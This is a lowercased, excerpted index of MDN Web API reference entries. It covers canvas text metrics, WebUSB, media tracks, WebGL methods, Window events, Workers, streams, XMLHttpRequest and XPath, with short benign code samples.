ntboundingboxascent', 'actualboundingboxascent', 'emheightascent', 'hangingbaseline']; const baselinesbelowalphabetic = ['ideographicbaseline', 'emheightdescent', 'actualboundingboxdescent', 'fontboundingboxdescent']; const baselines = [...baselinesabovealphabetic, ...baselinesbelowalphabetic]; ctx.font = '25px serif'; ctx.strokestyle = 'red'; baselines.foreach(function (baseline, index) { let text = 'abcdefghijklmnop (' + baseline + ')'; let textmetrics = ctx.measuretext(text); let y = 50 + index * 50; ctx.beginpath(); ctx.filltext(text, 0, y); let liney = y - math.abs(textmetrics[baseline]); if (baselinesbelowalphabetic.includes(baseline)) { liney = y + math.abs(textmetrics[baseline]); } ctx.moveto(0, liney); ctx.lineto(550, li...
...ney); ctx.stroke(); }); result measuring text width when measuring the x-direction of a piece of text, the sum of actualboundingboxleft and actualboundingboxright can be wider than the width of the inline box (width), due to slanted/italic fonts where characters overhang their advance width.
TextTrackCue - Web APIs
texttrackcue is an abstract class which is used as the basis for the various derived cue types, such as vttcue; you will instead work with those derived types.
...the cue includes the start time (the time at which the text will be displayed) and the end time (the time at which it will be removed from the display), as well as other information.
TextTrackList.onremovetrack - Web APIs
syntax texttracklist.onremovetrack = eventhandler; value set onremovetrack to a function that accepts as input a trackevent object which indicates in its track property which text track has been removed from the media element.
... example this simple example just fetches the current number of text tracks in the first media element whenever a track is removed from the media element.
TreeWalker.currentNode - Web APIs
the treewalker.currentnode property represents the node on which the treewalker is currently pointing at.
... living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.currentnode' in that specification.
TreeWalker.expandEntityReferences - Web APIs
the treewalker.expandentityreferences read-only property returns a boolean flag indicating whether or not the children of entity reference nodes are visible to the treewalker.
... if this value is false, the children of entity reference nodes (as well as all of their descendants) are rejected.
TreeWalker.parentNode() - Web APIs
if no such node exists, or if it is above the treewalker's root node, returns null and the current node is not changed.
... living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.parentnode' in that specification.
TreeWalker.previousNode() - Web APIs
if no such node exists,or if it is before that the root node defined at the object construction, returns null and the current node is not changed.
... living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.previousnode' in that specification.
TreeWalker.previousSibling() - Web APIs
if there is no such node, return null and the current node is not changed.
... living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.previoussibling' in that specification.
TypeInfo - Web APIs
WebAPITypeInfo
the obsolete typeinfo interface was intended to be used to describe a dom data type by keying its name to a namespace within the document's schema.
... typeinfo.typenamespace read only returns a domstring indicating the type's namespace within the schema.
UIEvent.layerX - Web APIs
WebAPIUIEventlayerX
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetlayerx non-standardchrome full support yesedge full support 12firefox full support yesie full support 9opera full support yessafari full support yeswebview android full support yeschrome android full support yesfirefox android full support ...
UIEvent.pageX - Web APIs
WebAPIUIEventpageX
syntax var pos = event.pagex value an integer value, in pixels, indicating the x coordinate at which the mouse pointer was located when the event occurred.
... examples for an example, see the documentation for the standard mouseevent.pagex property, which you should use instead.
UIEvent.view - Web APIs
WebAPIUIEventview
the uievent.view read-only property returns the windowproxy object from which the event was generated.
... obsolete from document object model (dom) level 2 events specification, changed the type of view from abstractview to windowproxy.
USB.getDevices() - Web APIs
WebAPIUSBgetDevices
the getdevices method of the usb interface returns a promise that resolves with an array of usbdevice objects for paired attached devices.
... navigator.usb.getdevices() .then(devices => { console.log("total devices: " + devices.length); devices.foreach(device => { console.log("product name: " + device.productname + ", serial number " + device.serialnumber); }); }); specifications specification status comment webusbthe definition of 'getdevices' in that specification.
USB.requestDevice() - Web APIs
WebAPIUSBrequestDevice
each filter object can have the following properties: vendorid productid classcode subclasscode protocolcode serialnumber return value a promise that resolves with an instance of usbdevice.
... const filters = [ {vendorid: 0x1209, productid: 0xa800}, {vendorid: 0x1209, productid: 0xa850} ]; navigator.usb.requestdevice({filters: filters}) .then(usbdevice => { console.log("product name: " + usbdevice.productname); }) .catch(e => { console.log("there is no device.
USBConfiguration - Web APIs
constructor usbconfiguration.usbconfiguration() creates a new usbconfiguration object which contains information about the configuration on the provided usbdevice with the given configuration value.
... usbconfiguration.interfacesread only returns an array containing instances of the usbinterface describing each interface supported by this configuration.
UserDataHandler - Web APIs
summary when associating user data with a key on a node, node.setuserdata() can also accept, in its third argument, a handler which will be called when the object is cloned, imported, deleted, renamed, or adopted.
... methods handle (operation, key, data, src, dst) (no return value) this method is a callback which will be called if a node is being cloned, imported, renamed and as well, if deleted or adopted.
VideoTrack.id - Web APIs
WebAPIVideoTrackid
the id property contains a string which uniquely identifies the track represented by the videotrack.
... syntax var trackid = videotrack.id; value a domstring which identifies the track, suitable for use when calling gettrackbyid() on an videotracklist such as the one specified by a media element's videotracks property.
VideoTrack.kind - Web APIs
WebAPIVideoTrackkind
the kind can be used to determine the scenarios in which specific tracks should be enabled or disabled.
... video track kind strings the kinds available for video tracks are: "alternative" a potential alternative to the main track, such as a different video take or a version of the soundtrack with only the music and no dialogue.
VideoTrack.label - Web APIs
WebAPIVideoTracklabel
for example, a track whose kind is "sign" might have a label such as "a sign-language interpretation.".
... function gettracklist(el) { var tracklist = []; const wantedkinds = [ "main", "alternative", "commentary" ]; el.videotracks.foreach(function(track) { if (wantedkinds.includes(track.kind)) { tracklist.push({ id: track.id, kind: track.kind, label: track.label }); } }); return tracklist; } the resulting tracklist contains an array of video tracks whose kind is one of those in the array wantedkinds, with each entry providing the track's id, kind, and label.
Videotrack.language - Web APIs
for tracks that include multiple languages (such as a movie in english in which a few lines are spoken in other languages), this should be the video's primary language.
... syntax var videotracklanguage = videotrack.language; value a domstring specifying the bcp 47 (rfc 5646) format language tag of the primary language used in the video track, or an empty string ("") if the language is not specified or known, or if the track doesn't contain speech.
VideoTrackList.onremovetrack - Web APIs
syntax videotracklist.onremovetrack = eventhandler; value set onremovetrack to a function that accepts as input a trackevent object which indicates in its track property which video track has been removed from the media element.
... example this simple example just fetches the current number of video tracks in the media element whenever a track is removed from the media element.
WEBGL_compressed_texture_astc.getSupportedProfiles() - Web APIs
syntax sequence<domstring> ext.getsupportedprofiles(); return value an array of domstring elements indicating which astc profiles are supported by the implementation.
...low dynamic ranges are for example jpeg format images which won't exceed 255:1, or crt monitors which won't exceed 100:1.
WaveShaperNode.oversample - Web APIs
oversampling is a technique for creating more samples (up-sampling) before applying a distortion effect to the audio signal.
...for applied examples/information, check out our voice-change-o-matic demo (see app.js for relevant code).
WebGL2RenderingContext.blitFramebuffer() - Web APIs
mask a glbitfield specifying a bitwise or mask indicating which buffers are to be copied.
... possible values: gl.color_buffer_bit gl.depth_buffer_bit gl.stencil_buffer_bit filter a glenum specifying the interpolation to be applied if the image is stretched.
WebGL2RenderingContext.clientWaitSync() - Web APIs
syntax glenum gl.clientwaitsync(sync, flags, timeout); parameters sync a webglsync object on which to wait on.
... timeout a glint64 specifying a timeout (in nanoseconds) for which to wait for the sync object to become signaled.
WebGL2RenderingContext.compressedTexSubImage3D() - Web APIs
possible values: gl.compressed_r11_eac gl.compressed_signed_r11_eac gl.compressed_rg11_eac gl.compressed_signed_rg11_eac gl.compressed_rgb8_etc2 gl.compressed_rgba8_etc2_eac gl.compressed_srgb8_etc2 gl.compressed_srgb8_alpha8_etc2_eac gl.compressed_rgb8_punchthrough_alpha1_etc2 gl.compressed_srgb8_punchthrough_alpha1_etc2 imagesize a glint specifying the number of bytes to read from the buffer bound to gl.pixel_unpack_buffer.
... offset a glint specifying the offset in bytes from which to read from the buffer bound to gl.pixel_unpack_buffer.
WebGL2RenderingContext.copyBufferSubData() - Web APIs
possible values: gl.array_buffer: buffer containing vertex attributes, such as vertex coordinates, texture coordinate data, or vertex color data.
... readoffset writeoffset a glintptr specifying the byte offset from which to start reading from or writing to the buffer.
WebGL2RenderingContext.getActiveUniformBlockParameter() - Web APIs
pname a glenum specifying which information to query.
... return value depends on which information is requested using the pname parameter.
WebGL2RenderingContext.getSyncParameter() - Web APIs
pname a glenum specifying which information to return.
... gl.sync_flags: returns a glenum indicating the flags with which the sync object was created (always 0 as no flags are supported).
WebGL2RenderingContext.readBuffer() - Web APIs
gl.color_attachment{0-15}: reads from one of the 16 color attachment buffers.
... examples gl.readbuffer(gl.color_attachment0); specifications specification status comment webgl 2.0the definition of 'readbuffer' in that specification.
WebGL2RenderingContext.vertexAttribIPointer() - Web APIs
type a glenum specifying the data type of each component in the array.
...the main difference is that while values specified by vertexattribpointer are always interpreted as floating-point values in the shader (even if they were originally specified as integers in the buffer), this method allows specifying values which are interpreted as integers in the shader.
WebGL2RenderingContext.waitSync() - Web APIs
the method is a no-op in the absence of the possibility of synchronizing between multiple gl contexts.
... syntax void gl.waitsync(sync, flags, timeout); parameters sync a webglsync object on which to wait on.
WebGLProgram - Web APIs
after attaching the shader programs using attachshader(), you link them into a usable program.
... var program = gl.createprogram(); // attach pre-existing shaders gl.attachshader(program, vertexshader); gl.attachshader(program, fragmentshader); gl.linkprogram(program); if ( !gl.getprogramparameter( program, gl.link_status) ) { var info = gl.getprograminfolog(program); throw 'could not compile webgl program.
WebGLQuery - Web APIs
the webglquery interface is part of the webgl 2 api and provides ways to asynchronously query for information.
... another kind of queries are disjoint timer queries, which allow you to measure performance and profiling of your gpu.
WebGLRenderingContext.bindRenderbuffer() - Web APIs
the webglrenderingcontext.bindrenderbuffer() method of the webgl api binds a given webglrenderbuffer to a target, which must be gl.renderbuffer.
... examples binding a renderbuffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var renderbuffer = gl.createrenderbuffer(); gl.bindrenderbuffer(gl.renderbuffer, renderbuffer); getting current bindings to check the current renderbuffer binding, query the renderbuffer_binding constant.
WebGLRenderingContext.bufferData() - Web APIs
possible values: gl.array_buffer: buffer containing vertex attributes, such as vertex coordinates, texture coordinate data, or vertex color data.
... examples using bufferdata var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.bufferdata(gl.array_buffer, 1024, gl.static_draw); getting buffer information to check the current buffer usage and buffer size, use the webglrenderingcontext.getbufferparameter() method.
WebGLRenderingContext.colorMask() - Web APIs
the webglrenderingcontext.colormask() method of the webgl api sets which color components to enable or to disable when drawing or rendering to a webglframebuffer.
... examples gl.colormask(true, true, true, false); to get the current color mask, query the color_writemask constant which returns an array.
WebGLRenderingContext.compressedTexSubImage2D() - Web APIs
xt ext.compressed_srgb_alpha_s3tc_dxt5_ext when using the webgl_compressed_texture_etc extension: ext.compressed_r11_eac ext.compressed_signed_r11_eac ext.compressed_rg11_eac ext.compressed_signed_rg11_eac ext.compressed_rgb8_etc2 ext.compressed_rgba8_etc2_eac ext.compressed_srgb8_etc2 ext.compressed_srgb8_alpha8_etc2_eac ext.compressed_rgb8_punchthrough_alpha1_etc2 ext.compressed_srgb8_punchthrough_alpha1_etc2 when using the webgl_compressed_texture_pvrtc extension: ext.compressed_rgb_pvrtc_4bppv1_img ext.compressed_rgba_pvrtc_4bppv1_img ext.compressed_rgb_pvrtc_2bppv1_img ext.compressed_rgba_pvrtc_2bppv1_img when using the webgl_compressed_texture_atc extension: ext.compressed_rgb_atc_web...
... offset a glintptr specifying the offset in bytes from which to read from the buffer bound to gl.pixel_unpack_buffer.
WebGLRenderingContext.copyTexImage2D() - Web APIs
gl.luminance: each color component is a luminance component, alpha is 1.0.
... gl.luminance_alpha: each component is a luminance/alpha component.
WebGLRenderingContext.createBuffer() - Web APIs
the webglrenderingcontext.createbuffer() method of the webgl api creates and initializes a webglbuffer storing data such as vertices or colors.
... return value a webglbuffer storing data such as vertices or colors.
WebGLRenderingContext.depthFunc() - Web APIs
syntax void gl.depthfunc(func); parameters func a glenum specifying the depth comparison function, which sets the conditions under which the pixel will be drawn.
... gl.enable(gl.depth_test); gl.depthfunc(gl.never); to check the current depth function, query the depth_func constant.
WebGLRenderingContext.disable() - Web APIs
syntax void gl.disable(cap); parameters cap a glenum specifying which webgl capability to disable.
... examples gl.disable(gl.dither); to check if a capability is disabled, use the webglrenderingcontext.isenabled() method: gl.isenabled(gl.dither); // false specifications specification status comment webgl 1.0the definition of 'disable' in that specification.
WebGLRenderingContext.enable() - Web APIs
syntax void gl.enable(cap); parameters cap a glenum specifying which webgl capability to enable.
... examples gl.enable(gl.dither); to check if a capability is enabled, use the webglrenderingcontext.isenabled() method: gl.isenabled(gl.dither); // true specifications specification status comment webgl 1.0the definition of 'enable' in that specification.
WebGLRenderingContext.isFramebuffer() - Web APIs
syntax glboolean gl.isframebuffer(framebuffer); parameters framebuffer a webglframebuffer to check.
... examples checking a frame buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var framebuffer = gl.createframebuffer(); gl.isframebuffer(framebuffer); specifications specification status comment webgl 1.0the definition of 'isframebuffer' in that specification.
WebGLRenderingContext.isProgram() - Web APIs
syntax glboolean gl.isprogram(program); parameters program a webglprogram to check.
... examples checking a program var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var program = gl.createprogram(); // ...
WebGLRenderingContext.isRenderbuffer() - Web APIs
syntax glboolean gl.isrenderbuffer(renderbuffer); parameters renderbuffer a webglrenderbuffer to check.
... examples checking a renderbuffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var renderbuffer = gl.createrenderbuffer(); gl.isrenderbuffer(renderbuffer); specifications specification status comment webgl 1.0the definition of 'isrenderbuffer' in that specification.
WebGLRenderingContext.isShader() - Web APIs
syntax glboolean gl.isshader(shader); parameters shader a webglshader to check.
... examples checking a shader var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var shader = gl.createshader(gl.vertex_shader); // ...
WebGLRenderingContext.isTexture() - Web APIs
syntax glboolean gl.istexture(texture); parameters texture a webgltexture to check.
... examples checking a texture var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var texture = gl.createtexture(); gl.istexture(texture); specifications specification status comment webgl 1.0the definition of 'istexture' in that specification.
WebGLRenderingContext.readPixels() - Web APIs
the array type must match the type of the type parameter.
... type does not match the typed array type of pixels.
WebGLRenderingContext.scissor() - Web APIs
the webglrenderingcontext.scissor() method of the webgl api sets a scissor box, which limits the drawing to a specified rectangle.
...clear) // turn off scissor test again gl.disable(gl.scissor_test); to get the current scissor box dimensions, query the scissor_box constant which returns an int32array.
WebGLRenderingContext.validateProgram() - Web APIs
it checks if it is successfully linked and if it can be used in the current webgl state.
... examples var program = gl.createprogram(); // attach pre-existing shaders gl.attachshader(program, vertexshader); gl.attachshader(program, fragmentshader); gl.linkprogram(program); gl.validateprogram(program); if ( !gl.getprogramparameter( program, gl.link_status) ) { var info = gl.getprograminfolog(program); throw 'could not compile webgl program.
WebGLShader - Web APIs
at this point the webglshader is still not in a usable form and must still be attached to a webglprogram.
...\n\n' + info; } return shader; } see webglprogram for information on attaching the shaders.
Hello GLSL - Web APIs
if the canvas remains blank, you can check the output of the next example, which draws exactly the same thing.
...vertex-shader").innerhtml; var vertexshader = gl.createshader(gl.vertex_shader); gl.shadersource(vertexshader,source); gl.compileshader(vertexshader); source = document.queryselector("#fragment-shader").innerhtml var fragmentshader = gl.createshader(gl.fragment_shader); gl.shadersource(fragmentshader,source); gl.compileshader(fragmentshader); program = gl.createprogram(); gl.attachshader(program, vertexshader); gl.attachshader(program, fragmentshader); gl.linkprogram(program); gl.detachshader(program, vertexshader); gl.detachshader(program, fragmentshader); gl.deleteshader(vertexshader); gl.deleteshader(fragmentshader); if (!gl.getprogramparameter(program, gl.link_status)) { var linkerrlog = gl.getprograminfolog(program); cleanup(); document.querys...
Hello vertex attributes - Web APIs
click on the canvas to change the horizontal position of the square.</p> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { width : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } <script type="x-shader/x-vertex" id="vertex-shader"> #version...
...vertex-shader").innerhtml; var vertexshader = gl.createshader(gl.vertex_shader); gl.shadersource(vertexshader,source); gl.compileshader(vertexshader); source = document.queryselector("#fragment-shader").innerhtml var fragmentshader = gl.createshader(gl.fragment_shader); gl.shadersource(fragmentshader,source); gl.compileshader(fragmentshader); program = gl.createprogram(); gl.attachshader(program, vertexshader); gl.attachshader(program, fragmentshader); gl.linkprogram(program); gl.detachshader(program, vertexshader); gl.detachshader(program, fragmentshader); gl.deleteshader(vertexshader); gl.deleteshader(fragmentshader); if (!gl.getprogramparameter(program, gl.link_status)) { var linkerrlog = gl.getprograminfolog(program); cleanup(); document.querys...
WebSocket() - Web APIs
syntax var awebsocket = new websocket(url [, protocols]); parameters url the url to which to connect; this should be the url to which the websocket server will respond.
... exceptions thrown security_err the port to which the connection is being attempted is being blocked.
WebSocket.onerror - Web APIs
WebAPIWebSocketonerror
the websocket interface's onerror event handler property is a function which gets called when an error occurs on the websocket.
... syntax websocket.onerror = eventhandler; value a function or eventhandler which is executed whenever an error event occurs on the websocket connection.
Web Animations API - Web APIs
the web animations api allows for synchronizing and timing changes to the presentation of a web page, i.e.
... element.getanimations() returns an array of animation objects currently affecting an element or which are scheduled to do so in future.
Web NFC API - Web APIs
the web nfc api allows exchanging data over nfc via light-weight nfc data exchange format (ndef) messages.
...low-level operations are currently not supported by the api, however there is a public discussion about api that would add such functuionality.
The structured clone algorithm - Web APIs
the prototype chain is not walked or duplicated.
... note: native error types can be cloned in chrome, and firefox is working on it.
Window: beforeunload event - Web APIs
attaching an event handler/listener to window or document's beforeunload event prevents browsers from using in-memory page navigation caches, like firefox's back-forward cache or webkit's page cache.
... event.preventdefault(); // chrome requires returnvalue to be set.
window.cancelAnimationFrame() - Web APIs
the window.cancelanimationframe() method cancels an animation frame request previously scheduled through a call to window.requestanimationframe().
... var myreq; function step(timestamp) { var progress = timestamp - start; d.style.left = math.min(progress / 10, 200) + 'px'; if (progress < 2000) { // it's important to update the requestid each time you're calling requestanimationframe myreq = requestanimationframe(step); } } myreq = requestanimationframe(step); // the cancelation uses the last requestid cancelanimationframe(myreq); specifications specification status comment html living standardthe definition of 'cancelanimationframe()' in that specification.
Window.close() - Web APIs
WebAPIWindowclose
the window.close() method closes the current window, or the window on which it was called.
... syntax window.close(); examples closing a window opened with window.open() this example shows a method which opens a window and a second one which closes the window; this demonstrates how to use window.close() to close a window opened by calling window.open().
Window.closed - Web APIs
WebAPIWindowclosed
examples change the url of a window from a popup the following example demonstrates how a popup window can change the url of the window that opened it.
... before attempting to change the url, it checks that the current window has an opener using the window.opener property and that the opener isn't closed: // check that an opener exists and is not closed if (window.opener && !window.opener.closed) { window.opener.location.href = 'http://www.mozilla.org'; } note that popups can only access the window that opened them.
Window.convertPointFromNodeToPage() - Web APIs
given a point specified in a particular dom node's coordinate system, the window method convertpointfromnodetopage() returns a point which specifies the same position in the page's coordinate system.
... specifications this method was specified in the defunct 20 march 2009 working draft of css 2d transforms module level 3.
Window.convertPointFromPageToNode - Web APIs
pagepoint a point object specifying a point in the coordinate system of the page, which is to be converted into the node's coordinate system.
... specifications this method was specified in the defunct 20 march 2009 working draft of css 2d transforms module level 3.
Window.getAttention() - Web APIs
the mechanism for this happening depends on the specific operating system and window manager.
...getattention will still work when used from chrome in a gecko application.
Window.getSelection() - Web APIs
however, attempting to use a javascript string property or method such as length or substr directly on a selection object will result in an error if it does not have that property or method and may return unexpected results if it does.
... related objects you can call document.getselection(), which works identically to window.getselection().
Window.history - Web APIs
WebAPIWindowhistory
the window.history read-only property returns a reference to the history object, which provides an interface for manipulating the browser session history (pages visited in the tab or frame that the current page is loaded in).
...the closest available solution is the location.replace() method, which replaces the current item of the session history with the provided url.
Window.innerWidth - Web APIs
WebAPIWindowinnerWidth
to change the window's width, use one of the window methods for resizing windows, such as resizeby() or resizeto().
... the innerwidth property is available on any window or object that behaves like a window, such as a frame or tab.
Window.locationbar - Web APIs
returns the locationbar object, whose visibility can be checked.
... <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>various dom tests</title> <script> var visible = window.locationbar.visible; </script> </head> <body> <p>various dom tests</p> </body> </html> specifications specification status comment html living standardthe definition of 'window.locationbar' in that specification.
Window.mozPaintCount - Web APIs
the window.mozpaintcount value is a long long, and starts at zero when the document is first created, incrementing by one each time the document is painted.
... specification not part of any w3c technical specification or recommendation.
Window: online event - Web APIs
the online event of the window interface is fired when the browser has gained access to the network and the value of navigator.online switches to true.
...network problems or firewalls might still prevent the website from being reached.
Window.onmozbeforepaint - Web APIs
this is used in concert with the window.mozrequestanimationframe() method to perform smooth, synchronized animations from javascript code.
...the event handler receives as an input parameter an event whose timestamp property is the time, in milliseconds since epoch, that is the "current time" for the current animation frame.
Window.outerHeight - Web APIs
the window.outerheight read-only property returns the height in pixels of the whole browser window, including any sidebar, window chrome, and window-resizing borders/handles.
... notes to change the size of a window, see window.resizeby() and window.resizeto().
Window.outerWidth - Web APIs
WebAPIWindowouterWidth
it represents the width of the whole browser window including sidebar (if expanded), window chrome and window resizing borders/handles.
... notes to change the size of a window, see window.resizeby() and window.resizeto().
Window: pageshow event - Web APIs
javascript const events = [ "pagehide", "pageshow", "unload", "load" ]; const eventlogger = event => { switch (event.type) { case "pagehide": case "pageshow": let ispersisted = event.persisted ?
... "persisted" : "not persisted"; console.log('event:', event.type, '-', ispersisted); break; default: console.log('event:', event.type); break; } }; events.foreach(eventname => window.addeventlistener(eventname, eventlogger) ); html <p>open the console and watch the output as you navigate to and from this page.
Window.resizeBy() - Web APIs
WebAPIWindowresizeBy
creating and resizing an external window for security reasons, it's no longer possible in firefox for a website to change the default size of a window in a browser if the window wasn’t created by window.open(), or contains more than one tab.
... see the compatability table for details on the change.
Window: resize event - Web APIs
there is a proposal to allow all elements to be notified of resize changes.
... examples window size logger the following example reports the window size each time it is resized.
Window.stop() - Web APIs
WebAPIWindowstop
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstopchrome full support yesedge full support 14firefox full support yesie no support noopera full support yessafari full support yeswebview android full support yeschrome android full support yesfirefox android full support yesopera androi...
Window: storage event - Web APIs
bubbles no cancelable no interface storageevent event handler property onstorage examples log the samplelist item to the console when the storage event fires: window.addeventlistener('storage', () => { // when local storage changes, dump the list to // the console.
... console.log(json.parse(window.localstorage.getitem('samplelist'))); }); the same action can be achieved using the onstorage event handler property: window.onstorage = () => { // when local storage changes, dump the list to // the console.
Window.top - Web APIs
WebAPIWindowtop
returns a reference to the topmost window in the window hierarchy.
... syntax var topwindow = window.top; notes where the window.parent property returns the immediate parent of the current window, window.top returns the topmost window in the hierarchy of window objects.
WindowEventHandlers.onbeforeunload - Web APIs
window.addeventlistener('beforeunload', function (e) { // cancel the event e.preventdefault(); // if you prevent default behavior in mozilla firefox prompt will always be shown // chrome requires returnvalue to be set e.returnvalue = ''; }); guarantee the browser unload by removing the returnvalue property of the event window.addeventlistener('beforeunload', function (e) { // the absence of a returnvalue property on the event will guarantee the browser unload happens delete e['returnvalue']; }); notes when your page uses javascript to render content, the javascript...
...you can bind to window.onbeforeunload to prevent the browser from fully caching the page.
WindowEventHandlers.onpopstate - Web APIs
a popstate event is dispatched to the window each time the active history entry changes between two history entries for the same document.
...the popstate event is only triggered by performing a browser action, such as clicking on the back button (or calling history.back() in javascript), when navigating between two history entries for the same document.
WindowOrWorkerGlobalScope.clearInterval() - Web APIs
the clearinterval() method of the windoworworkerglobalscope mixin cancels a timed, repeating action which was previously established by a call to setinterval().
... it's worth noting that the pool of ids used by setinterval() and settimeout() are shared, which means you can technically use clearinterval() and cleartimeout() interchangeably.
WindowOrWorkerGlobalScope.indexedDB - Web APIs
the indexeddb read-only property of the windoworworkerglobalscope mixin provides a mechanism for applications to asynchronously access the capabilities of indexed databases.
... example the following code creates a request for a database to be opened asychronously, after which the database is opened when the request's onsuccess handler is fired: var db; function opendb() { var dbopenrequest = window.indexeddb.open('todolist'); dbopenrequest.onsuccess = function(e) { db = dbopenrequest.result; } } specifications specification status comment indexed database api draftthe definition of 'indexeddb' in that specification.
Worker() - Web APIs
WebAPIWorkerWorker
name: a domstring specifying an identifying name for the dedicatedworkerglobalscope representing the scope of the worker, which is mainly useful for debugging purposes.
... examples the following code snippet shows creation of a worker object using the worker() constructor and subsequent usage of the object: var myworker = new worker('worker.js'); first.onchange = function() { myworker.postmessage([first.value,second.value]); console.log('message posted to worker'); } for a full example, see our basic dedicated worker example (run dedicated worker).
Worker.onmessage - Web APIs
WebAPIWorkeronmessage
messages are passed to the worker when the value inside the form input first changes.
... var myworker = new worker('worker.js'); first.onchange = function() { myworker.postmessage([first.value,second.value]); console.log('message posted to worker'); } myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); } in the worker.js script, an onmessage handler is used to the handle messages from the main script: onmessage = function(e) { console.log('message received from main script'); var workerresult = 'result: ' + (e.data[0] * e.data[1]); console.log('posting message back to main script'); postmessage(workerresult); } notice how in the main script, onmessage has to be called on myworker, whereas inside the wor...
WorkerGlobalScope.navigator - Web APIs
example if you call the following console.log(navigator); inside a worker (which would basically be the equivalent of self.console.log(self.navigator);, as these are being called on the worker scope, which can be referenced with workerglobalscope.self), you will get a workernavigator object written to the console — something like the following: object {online: true, useragent: "mozilla/5.0 (macintosh; intel mac os x 10_10_1) ap…ml, like gecko) chrome/40.0.2214.93 safari/53...
...7.36", product: "gecko", platform: "macintel", appversion: "5.0 (macintosh; intel mac os x 10_10_1) applewebki…ml, like gecko) chrome/40.0.2214.93 safari/537.36"…} appcodename: "mozilla" appname: "netscape" appversion: "5.0 (macintosh; intel mac os x 10_10_1) applewebkit/537.36 (khtml, like gecko) chrome/40.0.2214.93 safari/537.36" hardwareconcurrency: 4 online: true platform: "macintel" product: "gecko" useragent: "mozilla/5.0 (macintosh; intel mac os x 10_10_1) applewebkit/537.36 (khtml, like gecko) chrome/40.0.2214.93 safari/537.36" __proto__: object you could use this navigator object to return more information about the runtime envinronment, as you might do with a normal navigator object.
WorkerGlobalScope.performance - Web APIs
example if you called console.log(performance); inside a worker (which would basically be the equivalent of self.console.log(self.performance);, as these are being called on the worker scope, which can be referenced with workerglobalscope.self), you will get a workerperformance object written to the console — something like the following: workerperformance {now: function} __proto__: workerperformance constructor: function workerperformance() { [native code] } now: func...
... note: firefox has a bug with using console.log inside shared/service workers (see bug 1058644), which may return strange results, but this should be fixed soon.
WorkerNavigator - Web APIs
such an object is initialized for each worker and is available via the workerglobalscope.navigator property obtained by calling window.self.navigator.
... workernavigator.locks read only returns a lockmanager object which provides methods for requesting a new lock object and querying for an existing lock object.
WritableStream.abort() - Web APIs
return value a promise, which fulfills with the value given in the reason parameter.
... examples const writablestream = new writablestream({ write(chunk) { ...
WritableStreamDefaultWriter.abort() - Web APIs
return value a promise, which fulfills with the value given in the reason parameter.
... examples const writablestream = new writablestream({ write(chunk) { ...
WritableStreamDefaultWriter.closed - Web APIs
examples const writablestream = new writablestream({ start(controller) { }, write(chunk, controller) { ...
... // check if the stream is closed writer.closed.then(() => { console.log('writer closed'); }) specifications specification status comment streamsthe definition of 'closed' in that specification.
XDomainRequest.open() - Web APIs
opens an xdomainrequest which is configured to use a given method (get/post) and url.
...(get or post) url the url to which to send the request.
XMLHttpRequest.readyState - Web APIs
during this state, the request headers can be set using the setrequestheader() method and the send() method can be called which will initiate the fetch.
... done the fetch operation is complete.
XMLHttpRequest.responseText - Web APIs
syntax var resulttext = xmlhttprequest.responsetext; value a domstring which contains either the textual data received using the xmlhttprequest or null if the request failed or "" if the request has not yet been sent by calling send().
... while handling an asynchronous request, the value of responsetext always has the current content received from the server, even if it's incomplete because the data has not been completely received yet.
XMLSerializer.serializeToString() - Web APIs
syntax xmlstring = anxmlserializer.serializetostring(rootnode); parameters rootnode the node to use as the root of the dom tree or subtree for which to construct an xml representation.
... elements in the html namespace that have no child nodes (thereby representing empty tags) are serialized with both begin and end tags ("<someelement></someelement>") instead of using the empty-element tag ("<someelement/>").
XMLSerializer - Web APIs
serializetostream() the subtree rooted by the specified element is serialized to a byte stream using the character set specified.
... var s = new xmlserializer(); var d = document; var str = s.serializetostring(d); savexml(str); this involves creating a new xmlserializer object, then passing the document to be serialized into serializetostring(), which returns the xml equivalent of the document.
XPathEvaluator.createExpression() - Web APIs
this method compiles an xpathexpression which can then be used for (repeated) evaluations of the xpath expression.
... namespace_err if the expression contains namespace prefixes which cannot be resolved by the specified xpathnsresolver, a domexception of type namespace_error is raised.
XPathEvaluator.createNSResolver() - Web APIs
this adapter works like the dom level 3 method node.lookupnamespaceuri() in resolving the namespace uri from a given prefix using the current information available in the node's hierarchy at the time the method is called, also correctly resolving the implicit xml prefix.
... return value an xpathnsresolver object which resolves namespaces with respect to the definitions in scope for a specified node.
XPathEvaluator.evaluate() - Web APIs
result optional allows to specify a result object which may be reused and returned by this method.
... namespace_err if the expression contains namespace prefixes which cannot be resolved by the specified xpathnsresolver, a domexception of type namespace_error is raised.
XPathExpression.evaluate() - Web APIs
result optional allows to specify a result object which may be reused and returned by this method.
... namespace_err if the expression contains namespace prefixes which cannot be resolved by the specified xpathnsresolver, a domexception of type namespace_error is raised.
XRFrame.getPose() - Web APIs
WebAPIXRFramegetPose
with this, you can observe the motion of objects relative to each other and to fixed locations throughout the scene.
